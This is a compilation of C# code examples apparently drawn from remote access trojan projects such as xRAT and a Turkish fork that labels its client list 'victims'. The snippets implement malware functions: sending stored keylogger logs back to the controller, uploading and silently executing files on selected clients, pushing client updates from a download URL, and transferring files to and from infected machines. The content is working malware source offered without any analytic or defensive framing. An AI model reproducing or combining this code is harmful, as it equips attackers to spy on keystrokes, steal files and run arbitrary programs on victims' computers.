示例#1
0
        public static void HandleGetKeyloggerLogs(Packets.ServerPackets.GetKeyloggerLogs command, Client client)
        {
            new Thread(() =>
            {
                try
                {
                    int index = 1;
                    string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";

                    if (!Directory.Exists(path))
                    {
                        new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
                        return;
                    }

                    FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();

                    if (iFiles.Length == 0)
                    {
                        new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
                        return;
                    }

                    foreach (FileInfo file in iFiles)
                    {
                        FileSplit srcFile = new FileSplit(file.FullName);

                        if (srcFile.MaxBlocks < 0)
                            new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client);

                        for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                        {
                            byte[] block;
                            if (srcFile.ReadBlock(currentBlock, out block))
                            {
                                new Packets.ClientPackets.GetKeyloggerLogsResponse(Path.GetFileName(file.Name), block, srcFile.MaxBlocks, currentBlock, srcFile.LastError, index, iFiles.Length).Execute(client);
                                //Thread.Sleep(200);
                            }
                            else
                                new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, srcFile.LastError, index, iFiles.Length).Execute(client);
                        }

                        index++;
                    }
                }
                catch (Exception ex)
                {
                    new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, ex.Message, -1, -1).Execute(client);
                }
            }).Start();
        }
示例#2
0
        private void ctxtLocalFile_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
                {
                    if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
                    {
                        new Thread(() =>
                        {
                            bool error = false;
                            foreach (Client c in GetSelectedClients())
                            {
                                if (c == null) continue;
                                if (error) continue;

                                FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
                                if (srcFile.MaxBlocks < 0)
                                {
                                    MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                        "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                    error = true;
                                    break;
                                }

                                int id = FileHelper.GetNewTransferId();

                                CommandHandler.HandleSetStatus(c,
                                    new Core.Packets.ClientPackets.SetStatus("Uploading file..."));

                                for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                {
                                    byte[] block;
                                    if (srcFile.ReadBlock(currentBlock, out block))
                                    {
                                        new Core.Packets.ServerPackets.DoUploadAndExecute(id,
                                            Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks,
                                            currentBlock, UploadAndExecute.RunHidden).Execute(c);
                                    }
                                    else
                                    {
                                        MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                            "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }
                                }
                            }
                        }).Start();
                    }
                }
            }
        }
示例#3
0
        private void ctxtUpdate_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (Core.Data.Update.UseDownload)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Data.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c);
                            }
                        }
                        else
                        {
                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null) continue;
                                    if (error) continue;

                                    FileSplit srcFile = new FileSplit(Core.Data.Update.UploadPath);
                                    var fileName = FileHelper.GetRandomFilename(8, ".exe");
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                            "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = FileHelper.GetNewTransferId();

                                    CommandHandler.HandleSetStatus(c,
                                        new Core.Packets.ClientPackets.SetStatus("Uploading file..."));

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                                "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }
                                        new Core.Packets.ServerPackets.DoClientUpdate(id, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c);
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }
示例#4
0
        private void ctxtUpload_Click(object sender, EventArgs e)
        {
            using (var ofd = new OpenFileDialog())
            {
                ofd.Title = "Select files to upload";
                ofd.Filter = "All files (*.*)|*.*";
                ofd.Multiselect = true;

                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    var remoteDir = _currentDir;
                    foreach (var filePath in ofd.FileNames)
                    {
                        if (!File.Exists(filePath)) continue;

                        string path = filePath;
                        new Thread(() =>
                        {
                            int id = FileHelper.GetNewTransferId();

                            if (string.IsNullOrEmpty(path)) return;

                            AddTransfer(id, "Uploading...", Path.GetFileName(path));

                            int index = GetTransferIndex(id);
                            if (index < 0)
                                return;

                            FileSplit srcFile = new FileSplit(path);
                            if (srcFile.MaxBlocks < 0)
                            {
                                UpdateTransferStatus(index, "Error reading file", 0);
                                return;
                            }

                            string remotePath = Path.Combine(remoteDir, Path.GetFileName(path));

                            if (string.IsNullOrEmpty(remotePath)) return;

                            _limitThreads.WaitOne();
                            for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                            {
                                if (_connectClient.Value == null || _connectClient.Value.FrmFm == null)
                                {
                                    _limitThreads.Release();
                                    return; // abort upload when from is closed or client disconnected
                                }

                                if (CanceledUploads.ContainsKey(id))
                                {
                                    UpdateTransferStatus(index, "Canceled", 0);
                                    _limitThreads.Release();
                                    return;
                                }

                                decimal progress =
                                    Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                                UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1);

                                byte[] block;
                                if (srcFile.ReadBlock(currentBlock, out block))
                                {
                                    new Core.Packets.ServerPackets.DoUploadFile(id,
                                        remotePath, block, srcFile.MaxBlocks,
                                        currentBlock).Execute(_connectClient);
                                }
                                else
                                {
                                    UpdateTransferStatus(index, "Error reading file", 0);
                                    _limitThreads.Release();
                                    return;
                                }
                            }
                            _limitThreads.Release();

                            if (remoteDir == _currentDir)
                                RefreshDirectory();

                            UpdateTransferStatus(index, "Completed", 1);
                        }).Start();
                    }
                }
            }
        }
示例#5
0
        private void lstDirectory_DragDrop(object sender, DragEventArgs e)
        {
            if (e.Data.GetDataPresent(DataFormats.FileDrop))
            {
                string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);
                var remoteDir = _currentDir;
                foreach (string filePath in files)
                {
                    if (!File.Exists(filePath)) continue;

                    string path = filePath;
                    new Thread(() =>
                    {
                        int id = FileHelper.GetNewTransferId();

                        if (string.IsNullOrEmpty(path)) return;

                        AddTransfer(id, "Uploading...", Path.GetFileName(path));

                        int index = GetTransferIndex(id);
                        if (index < 0)
                            return;

                        FileSplit srcFile = new FileSplit(path);
                        if (srcFile.MaxBlocks < 0)
                        {
                            UpdateTransferStatus(index, "Error reading file", 0);
                            return;
                        }

                        string remotePath = Path.Combine(remoteDir, Path.GetFileName(path));

                        if (string.IsNullOrEmpty(remotePath)) return;

                        _limitThreads.WaitOne();
                        for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                        {
                            if (_connectClient.Value == null || _connectClient.Value.FrmFm == null)
                            {
                                _limitThreads.Release();
                                return; // abort upload when from is closed or client disconnected
                            }

                            if (CanceledUploads.ContainsKey(id))
                            {
                                UpdateTransferStatus(index, "Canceled", 0);
                                _limitThreads.Release();
                                return;
                            }

                            decimal progress =
                                Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                            UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1);

                            byte[] block;
                            if (srcFile.ReadBlock(currentBlock, out block))
                            {
                                new Core.Packets.ServerPackets.DoUploadFile(id,
                                    remotePath, block, srcFile.MaxBlocks,
                                    currentBlock).Execute(_connectClient);
                            }
                            else
                            {
                                UpdateTransferStatus(index, "Error reading file", 0);
                                _limitThreads.Release();
                                return;
                            }
                        }
                        _limitThreads.Release();

                        if (remoteDir == _currentDir)
                            RefreshDirectory();

                        UpdateTransferStatus(index, "Completed", 1);
                    }).Start();
                }
            }
        }
示例#6
0
文件: FrmMain.cs 项目: hzdwang/xRAT
        private void ctxtUpdate_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (Core.Data.Update.UseDownload)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Data.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c);
                            }
                        }
                        else
                        {
                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null)
                                    {
                                        continue;
                                    }
                                    if (error)
                                    {
                                        continue;
                                    }

                                    FileSplit srcFile = new FileSplit(Core.Data.Update.UploadPath);
                                    var fileName      = FileHelper.GetRandomFilename(8, ".exe");
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                                        "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = FileHelper.GetNewTransferId();

                                    CommandHandler.HandleSetStatus(c,
                                                                   new Core.Packets.ClientPackets.SetStatus("Uploading file..."));

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                                            "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }
                                        new Core.Packets.ServerPackets.DoClientUpdate(id, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c);
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }
示例#7
0
        private void updateToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (!frm.UseDownload && !File.Exists(frm.UploadPath))
                        {
                            return;
                        }

                        if (frm.UseDownload)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                c.Send(new DoClientUpdate
                                {
                                    Id           = 0,
                                    DownloadUrl  = frm.DownloadUrl,
                                    FileName     = string.Empty,
                                    Block        = new byte[0x00],
                                    MaxBlocks    = 0,
                                    CurrentBlock = 0
                                });
                            }
                        }
                        else
                        {
                            string path = frm.UploadPath;

                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null)
                                    {
                                        continue;
                                    }
                                    if (error)
                                    {
                                        continue;
                                    }

                                    FileSplit srcFile = new FileSplit(path);
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show($"Error reading file: {srcFile.LastError}",
                                                        "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = FileHelper.GetNewTransferId();

                                    CommandHandler.HandleSetStatus(c,
                                                                   new SetStatus {
                                        Message = "Uploading file..."
                                    });

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show($"Error reading file: {srcFile.LastError}",
                                                            "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }

                                        c.Send(new DoClientUpdate
                                        {
                                            Id           = id,
                                            DownloadUrl  = string.Empty,
                                            FileName     = string.Empty,
                                            Block        = block,
                                            MaxBlocks    = srcFile.MaxBlocks,
                                            CurrentBlock = currentBlock
                                        });
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }
示例#8
0
        private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (var ofd = new OpenFileDialog())
            {
                ofd.Title       = "Select files to upload";
                ofd.Filter      = "All files (*.*)|*.*";
                ofd.Multiselect = true;

                if (ofd.ShowDialog() == DialogResult.OK)
                {
                    var remoteDir = _currentDir;
                    foreach (var filePath in ofd.FileNames)
                    {
                        if (!File.Exists(filePath))
                        {
                            continue;
                        }

                        string path = filePath;
                        new Thread(() =>
                        {
                            int id = FileHelper.GetNewTransferId();

                            if (string.IsNullOrEmpty(path))
                            {
                                return;
                            }

                            AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path));

                            int index = GetTransferIndex(id);
                            if (index < 0)
                            {
                                return;
                            }

                            FileSplit srcFile = new FileSplit(path);
                            if (srcFile.MaxBlocks < 0)
                            {
                                UpdateTransferStatus(index, "Error reading file", 0);
                                return;
                            }

                            string remotePath = Path.Combine(remoteDir, Path.GetFileName(path));

                            if (string.IsNullOrEmpty(remotePath))
                            {
                                return;
                            }

                            _limitThreads.WaitOne();
                            for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                            {
                                if (_connectClient.Value == null || _connectClient.Value.FrmFm == null)
                                {
                                    _limitThreads.Release();
                                    return; // abort upload when from is closed or client disconnected
                                }

                                if (CanceledUploads.ContainsKey(id))
                                {
                                    UpdateTransferStatus(index, "Canceled", 0);
                                    _limitThreads.Release();
                                    return;
                                }

                                index = GetTransferIndex(id);
                                if (index < 0)
                                {
                                    _limitThreads.Release();
                                    return;
                                }

                                decimal progress =
                                    Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                                UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1);

                                byte[] block;
                                if (srcFile.ReadBlock(currentBlock, out block))
                                {
                                    new Core.Packets.ServerPackets.DoUploadFile(id,
                                                                                remotePath, block, srcFile.MaxBlocks,
                                                                                currentBlock).Execute(_connectClient);
                                }
                                else
                                {
                                    UpdateTransferStatus(index, "Error reading file", 0);
                                    _limitThreads.Release();
                                    return;
                                }
                            }
                            _limitThreads.Release();

                            if (remoteDir == _currentDir)
                            {
                                RefreshDirectory();
                            }

                            UpdateTransferStatus(index, "Completed", 1);
                        }).Start();
                    }
                }
            }
        }
示例#9
0
        private void lstDirectory_DragDrop(object sender, DragEventArgs e)
        {
            if (e.Data.GetDataPresent(DataFormats.FileDrop))
            {
                string[] files     = (string[])e.Data.GetData(DataFormats.FileDrop);
                var      remoteDir = _currentDir;
                foreach (string filePath in files)
                {
                    if (!File.Exists(filePath))
                    {
                        continue;
                    }

                    string path = filePath;
                    new Thread(() =>
                    {
                        int id = FileHelper.GetNewTransferId();

                        if (string.IsNullOrEmpty(path))
                        {
                            return;
                        }

                        AddTransfer(id, "Upload", "Pending...", Path.GetFileName(path));

                        int index = GetTransferIndex(id);
                        if (index < 0)
                        {
                            return;
                        }

                        FileSplit srcFile = new FileSplit(path);
                        if (srcFile.MaxBlocks < 0)
                        {
                            UpdateTransferStatus(index, "Error reading file", 0);
                            return;
                        }

                        string remotePath = Path.Combine(remoteDir, Path.GetFileName(path));

                        if (string.IsNullOrEmpty(remotePath))
                        {
                            return;
                        }

                        _limitThreads.WaitOne();
                        for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                        {
                            if (_connectClient.Value == null || _connectClient.Value.FrmFm == null)
                            {
                                _limitThreads.Release();
                                return; // abort upload when from is closed or client disconnected
                            }

                            if (CanceledUploads.ContainsKey(id))
                            {
                                UpdateTransferStatus(index, "Canceled", 0);
                                _limitThreads.Release();
                                return;
                            }

                            index = GetTransferIndex(id);
                            if (index < 0)
                            {
                                _limitThreads.Release();
                                return;
                            }

                            decimal progress =
                                Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                            UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1);

                            byte[] block;
                            if (srcFile.ReadBlock(currentBlock, out block))
                            {
                                new Core.Packets.ServerPackets.DoUploadFile(id,
                                                                            remotePath, block, srcFile.MaxBlocks,
                                                                            currentBlock).Execute(_connectClient);
                            }
                            else
                            {
                                UpdateTransferStatus(index, "Error reading file", 0);
                                _limitThreads.Release();
                                return;
                            }
                        }
                        _limitThreads.Release();

                        if (remoteDir == _currentDir)
                        {
                            RefreshDirectory();
                        }

                        UpdateTransferStatus(index, "Completed", 1);
                    }).Start();
                }
            }
        }
示例#10
0
        /// <summary>
        /// Begins uploading a file to the client.
        /// </summary>
        /// <param name="localPath">The local path of the file to upload.</param>
        /// <param name="remotePath">Save the uploaded file to this remote path.</param>
        public void BeginUploadFile(string localPath, string remotePath)
        {
            new Thread(() =>
            {
                int id = GetUniqueFileTransferId();

                FileTransfer transfer = new FileTransfer
                {
                    Id         = id,
                    Type       = TransferType.Upload,
                    LocalPath  = localPath,
                    RemotePath = remotePath,
                    Status     = "Pending..."
                };

                lock (_syncLock)
                {
                    _activeFileTransfers.Add(transfer);
                }

                FileSplit srcFile = new FileSplit(localPath);
                if (srcFile.MaxBlocks < 0)
                {
                    transfer.Status = "Error reading file";
                    OnFileTransferUpdated(transfer);
                    return;
                }

                // TODO: change to real size
                transfer.Size = srcFile.MaxBlocks;
                OnFileTransferUpdated(transfer);

                _limitThreads.WaitOne();
                for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                {
                    decimal progress =
                        Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2);

                    transfer.TransferredSize = currentBlock + 1;
                    transfer.Status          = $"Uploading...({progress}%)";
                    OnFileTransferUpdated(transfer);

                    bool transferCanceled;
                    lock (_syncLock)
                    {
                        transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0;
                    }

                    if (transferCanceled)
                    {
                        transfer.Status = "Canceled";
                        OnFileTransferUpdated(transfer);
                        _limitThreads.Release();
                        return;
                    }

                    if (srcFile.ReadBlock(currentBlock, out var block))
                    {
                        // blocking sending might not be required, needs further testing
                        _client.SendBlocking(new DoUploadFile
                        {
                            Id           = id,
                            RemotePath   = remotePath,
                            Block        = block,
                            MaxBlocks    = srcFile.MaxBlocks,
                            CurrentBlock = currentBlock
                        });
                    }
                    else
                    {
                        transfer.Status = "Error reading file";
                        OnFileTransferUpdated(transfer);
                        _limitThreads.Release();
                        return;
                    }
                }
                _limitThreads.Release();

                transfer.Status = "Completed";
                OnFileTransferUpdated(transfer);
            }).Start();
        }
示例#11
0
        private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (lstClients.SelectedItems.Count != 0)
            {
                using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK && File.Exists(frm.LocalFilePath))
                    {
                        string path   = frm.LocalFilePath;
                        bool   hidden = frm.Hidden;

                        new Thread(() =>
                        {
                            bool error = false;
                            foreach (Client c in GetSelectedClients())
                            {
                                if (c == null)
                                {
                                    continue;
                                }
                                if (error)
                                {
                                    continue;
                                }

                                FileSplit srcFile = new FileSplit(path);
                                if (srcFile.MaxBlocks < 0)
                                {
                                    MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                                    "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                    error = true;
                                    break;
                                }

                                int id = FileHelper.GetNewTransferId();

                                CommandHandler.HandleSetStatus(c,
                                                               new SetStatus {
                                    Message = "Uploading file..."
                                });

                                for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                {
                                    byte[] block;
                                    if (srcFile.ReadBlock(currentBlock, out block))
                                    {
                                        c.SendBlocking(new DoUploadAndExecute
                                        {
                                            Id           = id,
                                            FileName     = Path.GetFileName(path),
                                            Block        = block,
                                            MaxBlocks    = srcFile.MaxBlocks,
                                            CurrentBlock = currentBlock,
                                            RunHidden    = hidden
                                        });
                                    }
                                    else
                                    {
                                        MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
                                                        "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }
                                }
                            }
                        }).Start();
                    }
                }
            }
        }
示例#12
0
        public static void HandleGetKeyloggerLogs(GetKeyloggerLogs command, Client client)
        {
            new Thread(() =>
            {
                try
                {
                    int index = 1;

                    if (!Directory.Exists(Keylogger.LogDirectory))
                    {
                        client.Send(new GetKeyloggerLogsResponse
                        {
                            Filename      = "",
                            Block         = new byte[0],
                            MaxBlocks     = -1,
                            CurrentBlock  = -1,
                            CustomMessage = "",
                            Index         = index,
                            FileCount     = 0
                        });
                        return;
                    }

                    FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles();

                    if (iFiles.Length == 0)
                    {
                        client.Send(new GetKeyloggerLogsResponse
                        {
                            Filename      = "",
                            Block         = new byte[0],
                            MaxBlocks     = -1,
                            CurrentBlock  = -1,
                            CustomMessage = "",
                            Index         = index,
                            FileCount     = 0
                        });
                        return;
                    }

                    foreach (FileInfo file in iFiles)
                    {
                        FileSplit srcFile = new FileSplit(file.FullName);

                        if (srcFile.MaxBlocks < 0)
                        {
                            client.Send(new GetKeyloggerLogsResponse
                            {
                                Filename      = "",
                                Block         = new byte[0],
                                MaxBlocks     = -1,
                                CurrentBlock  = -1,
                                CustomMessage = srcFile.LastError,
                                Index         = index,
                                FileCount     = iFiles.Length
                            });
                        }

                        for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                        {
                            byte[] block;
                            if (srcFile.ReadBlock(currentBlock, out block))
                            {
                                client.Send(new GetKeyloggerLogsResponse
                                {
                                    Filename      = Path.GetFileName(file.Name),
                                    Block         = block,
                                    MaxBlocks     = srcFile.MaxBlocks,
                                    CurrentBlock  = currentBlock,
                                    CustomMessage = srcFile.LastError,
                                    Index         = index,
                                    FileCount     = iFiles.Length
                                });
                                //Thread.Sleep(200);
                            }
                            else
                            {
                                client.Send(new GetKeyloggerLogsResponse
                                {
                                    Filename      = "",
                                    Block         = new byte[0],
                                    MaxBlocks     = -1,
                                    CurrentBlock  = -1,
                                    CustomMessage = srcFile.LastError,
                                    Index         = index,
                                    FileCount     = iFiles.Length
                                });
                            }
                        }

                        index++;
                    }
                }
                catch (Exception ex)
                {
                    client.Send(new GetKeyloggerLogsResponse
                    {
                        Filename      = "",
                        Block         = new byte[0],
                        MaxBlocks     = -1,
                        CurrentBlock  = -1,
                        CustomMessage = ex.Message,
                        Index         = -1,
                        FileCount     = -1
                    });
                }
            }).Start();
        }
示例#13
0
        private void updateToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (Kurbanlar.SelectedItems.Count != 0)
            {
                using (var frm = new FrmGüncelle(Kurbanlar.SelectedItems.Count))
                {
                    if (frm.ShowDialog() == DialogResult.OK)
                    {
                        if (KuuhakuCekirdek.Veri.Update.İndirU)
                        {
                            foreach (Client c in GetSelectedClients())
                            {
                                new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(0, KuuhakuCekirdek.Veri.Update.İndirmeURLsi, string.Empty, new byte[0x00], 0, 0).Execute(c);
                            }
                        }
                        else
                        {
                            new Thread(() =>
                            {
                                bool error = false;
                                foreach (Client c in GetSelectedClients())
                                {
                                    if (c == null)
                                    {
                                        continue;
                                    }
                                    if (error)
                                    {
                                        continue;
                                    }

                                    FileSplit srcFile = new FileSplit(KuuhakuCekirdek.Veri.Update.YüklemeDizini);
                                    if (srcFile.MaxBlocks < 0)
                                    {
                                        MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                        "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                        error = true;
                                        break;
                                    }

                                    int id = DosyaYardımcısı.GetNewTransferId();

                                    Eylemİşleyicisi.HandleSetStatus(c,
                                                                    new KuuhakuCekirdek.Paketler.ClientPaketleri.SetStatus("Dosya Yükleniyor..."));

                                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                                    {
                                        byte[] block;
                                        if (!srcFile.ReadBlock(currentBlock, out block))
                                        {
                                            MessageBox.Show(string.Format("Dosya Okuma Hatası: {0}", srcFile.LastError),
                                                            "Yükleme İptal", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                                            error = true;
                                            break;
                                        }
                                        new KuuhakuCekirdek.Paketler.ServerPaketleri.DoClientUpdate(id, string.Empty, string.Empty, block, srcFile.MaxBlocks, currentBlock).Execute(c);
                                    }
                                }
                            }).Start();
                        }
                    }
                }
            }
        }
示例#14
0
        public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client)
        {
            // Resumed
            if (_pausedDownloads.ContainsKey(command.ID))
            {
                _pausedDownloads.Remove(command.ID);
            }

            if (Directory.Exists(command.RemotePath))
            {
                HandleDownloadDirectory(new DoDownloadDirectory
                {
                    ID          = command.ID,
                    Type        = DownloadType.Full,
                    RemotePath  = command.RemotePath,
                    ItemOptions = command.FolderItemOptions,
                    StartBlock  = command.StartBlock,
                    Items       = command.FolderItems
                }, client);
                return;
            }

            new Thread(() =>
            {
                _limitThreads.WaitOne();
                try
                {
                    FileSplit srcFile = new FileSplit(command.RemotePath);
                    if (srcFile.MaxBlocks < 0)
                    {
                        throw new Exception(srcFile.LastError);
                    }

                    for (int currentBlock = command.StartBlock; currentBlock < srcFile.MaxBlocks; currentBlock++)
                    {
                        if (!client.Connected || _canceledDownloads.ContainsKey(command.ID) ||
                            _pausedDownloads.ContainsKey(command.ID))
                        {
                            break;
                        }

                        byte[] block;

                        if (!srcFile.ReadBlock(currentBlock, out block))
                        {
                            throw new Exception(srcFile.LastError);
                        }

                        var startTime = DateTime.MinValue;
                        if (currentBlock == command.StartBlock || command.Resumed)
                        {
                            startTime = DateTime.Now;
                            if (command.Resumed)
                            {
                                command.Resumed = false;
                            }
                        }

                        new Packets.ClientPackets.DoDownloadFileResponse(command.ID,
                                                                         Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock,
                                                                         srcFile.LastError, ItemType.File, startTime, command.RemotePath).Execute(client);
                    }
                }
                catch (Exception ex)
                {
                    new Packets.ClientPackets.DoDownloadFileResponse(command.ID, Path.GetFileName(command.RemotePath),
                                                                     new byte[0], -1, -1, ex.Message, ItemType.File, DateTime.MinValue, command.RemotePath)
                    .Execute(client);
                }
                _limitThreads.Release();
            }).Start();
        }